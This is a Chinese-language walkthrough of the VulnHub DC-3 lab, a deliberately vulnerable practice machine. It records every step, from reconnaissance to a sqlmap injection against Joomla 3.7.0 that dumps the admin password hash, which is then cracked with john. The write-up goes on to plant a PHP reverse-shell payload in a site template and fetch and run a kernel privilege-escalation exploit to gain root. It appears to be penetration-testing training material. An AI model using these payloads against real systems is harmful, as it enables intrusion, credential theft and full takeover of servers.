DC-3
DC-3靶场链接:https://download.vulnhub.com/dc/DC-3-2.zip
下载后解压会有一个DC-3.ova文件,直接在vm虚拟机点击左上角打开-->文件--.选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式
首先进行主机发现:
arp-scan -l
扫出靶机ip是192.168.183.146
Nmap扫描
nmap -A -p- 192.168.183.146
发现这台机只开了80端口,访问80端口发现一个登录的,常规的burpsuite抓包爆破找到密码snoopy,但是成功登录也没什么变化
用dirsearch扫目录:
dirsearch -u 192.168.183.146 -e * -i 200
打开http://192.168.183.146/administrator/ 在这个登录框输入账号:admin,密码:snoopy即可登录到后台
另一种登录后台的方法:
回到nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-14 15:58 CST
Nmap scan report for 192.168.183.146
Host is up (0.00022s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds
注意到这是Joomla的cms,针对joomala可以使用joomscan
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具,利用joomscan进行joomla信息探测
joomscan -u 192.168.20.140
得到这是Joomla 3.7.0版本,可以使用searchsploit搜索这个版本joomla的漏洞
searchsploit Joomla 3.7.0
searchsploit是一款kali自带的搜索漏洞信息的模块
参数参考:
-c, --case [Term] 区分大小写(默认不区分大小写)
-e, --exact [Term] 对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].
-h, --help 显示帮助
-j, --json [Term] 以JSON格式显示结果
-m, --mirror [EDB-ID] 把一个exp拷贝到当前工作目录,参数后加目标id
-o, --overflow [Term] Exploit标题被允许溢出其列
-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
-t, --title [Term] 仅仅搜索漏洞标题(默认是标题和文件的路径)
-u, --update 检查并安装任何exploitdb软件包更新(deb或git)
-w, --www [Term] 显示Exploit-DB.com的URL而不是本地路径(在线搜索)
-x, --examine [EDB-ID] 使用$ PAGER检查(副本)Exp
--colour 搜索结果不高亮显示关键词
--id 显示EDB-ID
--nmap [file.xml] 使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)
使用“-v”(详细)来尝试更多的组合
--exclude="term" 从结果中删除值。通过使用“|”分隔多个值
例如--exclude=“term1 | term2 | term3”
从结果来看,我们发现joomla 3.7.0有一个sql漏洞
┌──(root㉿kali)-[/home/kali]
└─# searchsploit joomla 3.7.0
------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------- ---------------------------------
Joomla! 3.7.0 - 'com_fields' SQL Injection | php/webapps/42033.txt
Joomla! Component Easydiscuss < 4.0.21 - Cross-S | php/webapps/43488.txt
------------------------------------------------- ---------------------------------
Shellcodes: No Results
把相关漏洞信息复制到桌面:
touch /home/kali/桌面/42033.txt
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /home/kali/桌面/42033.txt
在桌面的42033.txt里给出了sqlmap的payload:
sqlmap -u "http://192.168.183.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs
sqlmap出了数据库:
available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
接下来依次破解表名、字段名即可,这里放上最后payload:
sqlmap -u "http://192.168.183.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
得到了admin账号及其被加密过的密码:
Table: #__users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+
这里我们可以尝试用join对这串密文进行爆破
john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES 、 MD4 、 MD5 等。 John 支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 Unix 、 Linux 、 Windows 、 DOS 模式、 BeOS 和 OpenVMS ,主要目的是破解不够牢固的 Unix/Linux 系统密码。
在kali上安装join
apt install john
在桌面创一个放密码的文件:
touch /home/kali/桌面/pass.txt
把刚刚被加密的密码写入进去:
vi /home/kali/桌面/pass.txt
打开后按i进入插入模式,复制完后按ESC后输入“:wq”保存退出
开始使用join工具破解:
john /home/kali/桌面/pass.txt
得到密码是snoopy
反弹shell:
进入后台后点击左边栏上的Templates,然后在点一次左边的Templates,点击beez3,进入到一个文件上传页面,随机挑选一个文件把别的内容注释了然后写入:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.183.138/666 0>&1' ");?>
Ip改成自己kali的ip,点击保存,在kali那边打开监听:
nc -lvvp 666
然后物理机访问网页http://192.168.183.146/templates/beez3/刚刚写入反弹命令的文件名
回到kali,看见反弹成功,利用python获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
Whoami后发现不是root权限,需要提权
提权:
信息收集:
进行一些信息收集,以下是linux系统信息收集:
cat /etc/issue #查看系统名称
cat /proc/version #查看当前运行的 Linux 内核版本信息
cat /etc/Lsb-release #查看系统名称,版本号
cat /etc/*release #查看linux发行信息
uname -an #查看内核版本
cat /proc/cpuinfo #查看cpu信息
dpkg -l | grep linux-image #已安装的补丁信息
得知这是Ubuntu 16.04系统,继续使用searchsploit查看版本漏洞:
──(kali㉿kali)-[~]
└─$ searchsploit Ubuntu 16.04
--------------------- ---------------------------------
Exploit Title | Path
--------------------- ---------------------------------
Apport 2.x (Ubuntu D | linux/local/40937.txt
Exim 4 (Debian 8 / U | linux/local/40054.c
Google Chrome (Fedor | linux/local/40943.txt
LightDM (Ubuntu 16.0 | linux/local/41923.txt
Linux Kernel (Debian | linux_x86-64/local/42275.c
Linux Kernel (Debian | linux_x86/local/42276.c
Linux Kernel (Ubuntu | linux/dos/39773.txt
Linux Kernel 4.14.7 | linux/local/45175.c
Linux Kernel 4.4 (Ub | linux/dos/46529.c
Linux Kernel 4.4 (Ub | linux/local/40759.rb
Linux Kernel 4.4.0 ( | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-2 | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-2 | windows_x86-64/local/47170.c
Linux Kernel 4.4.x ( | linux/local/39772.txt
Linux Kernel 4.6.2 ( | linux/local/40489.txt
Linux Kernel 4.8 (Ub | linux/dos/45919.c
Linux Kernel < 4.13. | linux/local/45010.c
Linux Kernel < 4.4.0 | linux/local/43418.c
Linux Kernel < 4.4.0 | linux/local/44298.c
Linux Kernel < 4.4.0 | linux/local/47169.c
Linux Kernel < 4.4.0 | linux_x86-64/local/44300.c
--------------------- ---------------------------------
Shellcodes: No Results
然后查看39772.txt的路径
┌──(kali㉿kali)-[~]
└─$ searchsploit -p 39772.txt
Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation
URL: https://www.exploit-db.com/exploits/39772
Path: /usr/share/exploitdb/exploits/linux/local/39772.txt
Codes: CVE-2016-4557, 823603
把该路径复制到桌面:
cp /usr/share/exploitdb/exploits/linux/local/39772.txt /home/kali/桌面/39772.txt
打开桌面上的39772.txt文件,最后一行附上了exp链接
物理机访问网址,下载exp解压后是一个叫39772的文件,把文件拖进虚拟机桌面上
用python开启http服务:
python -m http.server 8080
浏览器访问:
http://192.168.183.138:8080/%E6%A1%8C%E9%9D%A2/39772/
其实就是在网页找到这个exp文件,然后复制exploit.tar的链接,回到虚拟终端用wget下载这个链接
wget http://192.168.183.138:8080/%E6%A1%8C%E9%9D%A2/39772/exploit.tar
出现了以下情况就是成功了
exploit.tar 100%[===================>] 20.00K --.-KB/s
然后解压:
tar -xvf exploit.tar
在39772.txt里有教怎么使用exp(蓝色部分):
先输入
./compile.sh
后输入:
./doubleput
再次whoami,就能发现提权到了root,flag就在/root下